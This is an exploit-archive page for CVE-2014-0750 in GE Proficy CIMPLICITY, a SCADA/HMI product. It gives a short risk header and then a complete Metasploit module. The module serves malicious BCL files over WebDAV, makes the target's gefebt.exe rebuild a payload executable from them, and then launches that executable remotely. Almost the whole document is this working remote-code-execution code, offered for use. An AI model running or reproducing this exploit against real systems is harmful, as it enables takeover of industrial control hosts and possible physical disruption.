GE Proficy CIMPLICITY gefebt.exe Remote Code Execution

2014.02.28
Credit: amisto0x07
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML def initialize super( 'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution', 'Description' => %q{ This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in shared resources. An attacker can abuse this behaviour to execute a malicious BCL and drop an arbitrary EXE. The last one can be executed remotely through the WebView server. This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. When the target hasn't the WebClient service enabled, an external SMB service is necessary. }, 'Author' => [ 'amisto0x07', # Vulnerability discovery 'Z0mb1E', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2014-0750'], [ 'ZDI', '14-015' ], [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'win', 'Targets' => [ [ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jan 23 2014' ) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]), OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]), OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/']) ], self.class) end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) if request.uri =~ /#{@basename}(\d)\.bcl/ print_status("GET => Payload") data = @bcls[$1.to_i] send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = rand_text_alpha(8 + rand(10)) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request") body = '' if (path =~ /\.bcl$/i) print_status("Sending BCL multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def check uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") uri << "?" res = send_request_cgi('uri' => uri) # res.to_s is used because the CIMPLICITY embedded web server # doesn't send HTTP compatible responses. if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit @extensions = "bcl" @bcls= [] @total_exe = 0 setup_resources make_bcls print_status("BCL's available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl") unless datastore['UNCPATH'].blank? @bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) } if datastore['ONLYMAKE'] print_warning("Files created, remember to upload the BCL files to the remote share!") print_warning("Once ready set ONLYMAKE to false") else exploit_bcl end return end super end def setup_resources if datastore['UNCPATH'].blank? # Using WebDAV my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @basename = rand_text_alpha(3) @share_name = rand_text_alpha(3) @exploit_unc = "\\\\#{my_host}\\" @exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe" unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/' fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end else # Using external SMB Server if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/ @exploit_unc = $1 @share_name = $2 @basename = $3 # Use an static file name for the EXE since the module doesn't # deliver the BCL files in this case. @exe_filename = "ge_pld.exe" else fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc') end end end def make_bcls exe = generate_payload_exe # Padding to be sure we're aligned to 4 bytes. exe << "\x00" until exe.length % 4 == 0 longs = exe.unpack("l*") offset = 0 # gefebt.exe isn't able to handle (on my test environment) long # arrays bigger than 16000, so we need to split it. while longs.length > 0 parts = longs.slice!(0, 16000) @bcls << generate_bcl(parts , offset) offset += parts.length * 4 end end def generate_bcl(slices, offset) bcl_payload = "" slices.each_index do |i| bcl_payload << "s(#{i + 1}) = #{slices[i]}\n" end <<-EOF Option CStrings On Sub Main() Open "#{@exe_filename}" For Binary Access Write As #1 Dim s(#{slices.length}) As Long #{bcl_payload} For x = 1 To #{slices.length} t = x - 1 Put #1,t*4+1+#{offset},s(x) Next x Close End Sub EOF end def execute_bcl(i) print_status("#{peer} - Executing BCL code #{@basename}#{i}.bcl to drop final payload...") uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl" res = send_request_cgi('uri' => uri) # We use res.to_s because the embedded CIMPLICITY Web server doesn't # answer with valid HTTP responses. if res and res.code == 200 and res.to_s =~ /(^Error.*$)/ print_error("#{peer} - Server answered with error: $1") fail_with(Failure::Unknown, "#{peer} - Server answered with error") elsif res and res.code == 200 and res.to_s =~ /No such file or directory/ fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file") elsif res and res.code == 200 print_good("#{peer} - Answer has been successful") else fail_with(Failure::Unknown, "#{peer} - Unknown error") end end def exploit_bcl @bcls.each_index do |i| execute_bcl(i) end print_status("#{peer} - Executing #{@exe_filename}...") uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename) uri << "?" # Enough timeout to execute the payload, but don't block the exploit # until there is an answer. send_request_cgi({'uri' => uri}, 3) end def primer exploit_bcl service.stop end def file_create(fname, data) ltype = "exploit.fileformat.#{self.shortname}" full_path = store_local(ltype, nil, data, fname) print_good("#{fname} stored at #{full_path}") end end

References:

http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01


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